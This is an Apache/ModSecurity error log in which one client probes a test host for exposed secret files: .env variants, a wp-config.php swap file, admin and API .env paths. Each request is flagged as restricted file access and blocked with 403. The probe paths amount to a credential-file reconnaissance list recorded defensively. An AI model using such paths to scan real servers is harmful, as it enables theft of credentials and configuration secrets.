[Thu Mar 12 21:45:24.357696 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abMl5NYP7IfwyGfz0ydeeQAAAAA"]
[Thu Mar 12 21:45:24.357878 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abMl5NYP7IfwyGfz0ydeeQAAAAA"]
[Thu Mar 12 21:45:24.358187 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.live"] [unique_id "abMl5NYP7IfwyGfz0ydeeQAAAAA"]
[Thu Mar 12 21:45:24.379922 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abMl5NYP7IfwyGfz0ydeegAAAAA"]
[Thu Mar 12 21:45:24.380160 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abMl5NYP7IfwyGfz0ydeegAAAAA"]
[Thu Mar 12 21:45:24.380336 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abMl5NYP7IfwyGfz0ydeegAAAAA"]
[Thu Mar 12 21:45:24.380521 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "abMl5NYP7IfwyGfz0ydeegAAAAA"]
[Thu Mar 12 21:45:24.402580 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abMl5NYP7IfwyGfz0ydeewAAAAA"]
[Thu Mar 12 21:45:24.402764 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abMl5NYP7IfwyGfz0ydeewAAAAA"]
[Thu Mar 12 21:45:24.402913 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.php"] [unique_id "abMl5NYP7IfwyGfz0ydeewAAAAA"]
[Thu Mar 12 21:45:24.425127 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abMl5NYP7IfwyGfz0ydefAAAAAA"]
[Thu Mar 12 21:45:24.425330 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abMl5NYP7IfwyGfz0ydefAAAAAA"]
[Thu Mar 12 21:45:24.425486 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.project"] [unique_id "abMl5NYP7IfwyGfz0ydefAAAAAA"]
[Thu Mar 12 21:45:24.447860 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abMl5NYP7IfwyGfz0ydefQAAAAA"]
[Thu Mar 12 21:45:24.448065 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abMl5NYP7IfwyGfz0ydefQAAAAA"]
[Thu Mar 12 21:45:24.448234 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.qa"] [unique_id "abMl5NYP7IfwyGfz0ydefQAAAAA"]
[Thu Mar 12 21:45:24.470428 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abMl5NYP7IfwyGfz0ydefgAAAAA"]
[Thu Mar 12 21:45:24.470643 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abMl5NYP7IfwyGfz0ydefgAAAAA"]
[Thu Mar 12 21:45:24.470783 2026] [:error] [pid 2656513] [client 185.177.72.13:41238] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "abMl5NYP7IfwyGfz0ydefgAAAAA"]
[Thu Mar 12 21:45:24.540666 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abMl5NQgN0ifamzUYv2M1gAAAAE"]
[Thu Mar 12 21:45:24.540866 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abMl5NQgN0ifamzUYv2M1gAAAAE"]
[Thu Mar 12 21:45:24.540989 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.save"] [unique_id "abMl5NQgN0ifamzUYv2M1gAAAAE"]
[Thu Mar 12 21:45:24.563647 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abMl5NQgN0ifamzUYv2M1wAAAAE"]
[Thu Mar 12 21:45:24.563886 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abMl5NQgN0ifamzUYv2M1wAAAAE"]
[Thu Mar 12 21:45:24.564072 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abMl5NQgN0ifamzUYv2M1wAAAAE"]
[Thu Mar 12 21:45:24.564212 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.swp"] [unique_id "abMl5NQgN0ifamzUYv2M1wAAAAE"]
[Thu Mar 12 21:45:24.586470 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abMl5NQgN0ifamzUYv2M2AAAAAE"]
[Thu Mar 12 21:45:24.586670 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abMl5NQgN0ifamzUYv2M2AAAAAE"]
[Thu Mar 12 21:45:24.586825 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env~"] [unique_id "abMl5NQgN0ifamzUYv2M2AAAAAE"]
[Thu Mar 12 21:45:24.608756 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abMl5NQgN0ifamzUYv2M2QAAAAE"]
[Thu Mar 12 21:45:24.609145 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abMl5NQgN0ifamzUYv2M2QAAAAE"]
[Thu Mar 12 21:45:24.609274 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.wp-config.php.swp"] [unique_id "abMl5NQgN0ifamzUYv2M2QAAAAE"]
[Thu Mar 12 21:45:24.677599 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3AAAAAE"]
[Thu Mar 12 21:45:24.677793 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3AAAAAE"]
[Thu Mar 12 21:45:24.677937 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/ADMIN/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3AAAAAE"]
[Thu Mar 12 21:45:24.722875 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3gAAAAE"]
[Thu Mar 12 21:45:24.723070 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3gAAAAE"]
[Thu Mar 12 21:45:24.723202 2026] [:error] [pid 2656514] [client 185.177.72.13:41252] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/API/.env"] [unique_id "abMl5NQgN0ifamzUYv2M3gAAAAE"]
